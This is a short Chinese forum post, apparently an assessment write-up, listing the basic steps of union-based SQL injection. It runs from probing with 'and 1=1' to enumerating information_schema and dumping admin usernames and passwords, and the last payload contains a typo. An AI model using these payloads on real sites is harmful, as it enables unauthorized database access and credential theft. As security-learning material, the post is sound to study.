无名商城论坛

搜索
查看: 958|回复: 0

[TSD/原创] 【Max考核】SQL注入基础语句步骤

[复制链接]

1万

主题

1万

帖子

3万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
32464
发表于 2022-5-8 20:31:16 | 显示全部楼层 |阅读模式
大佬勿喷[开心][开心]
1.在url后面添加and 1=1页面显示正常添加and 1=2不正常(可注入)
2.利用order by 判断字段数量
3.判断可显字段,用union select 1,2,3,,,n(n为字段数量)(更多情况下要在union select前加 and 1=2 不然显不出来?)
4.把可显字段替换成函数,例如显示版本将一个字段替换为version(),显示数据库用database()等
5.查表名语句,例如:and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema="数据库名"
6.查字段,例如查看hack数据表中包含了哪些字段
select column_name from information_schema.columns where table_name="hack";
7.爆出段名,例如:union select 1,column_name,3,4,5 from information_schema.columns where table_name='admin'
8.最后就是爆出管理员用户名和密码,例如union select 1,username,password,4,5 from admin或者union select 1,unhex(hex(username)),unhex(hex(password)),4,5 for admin
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表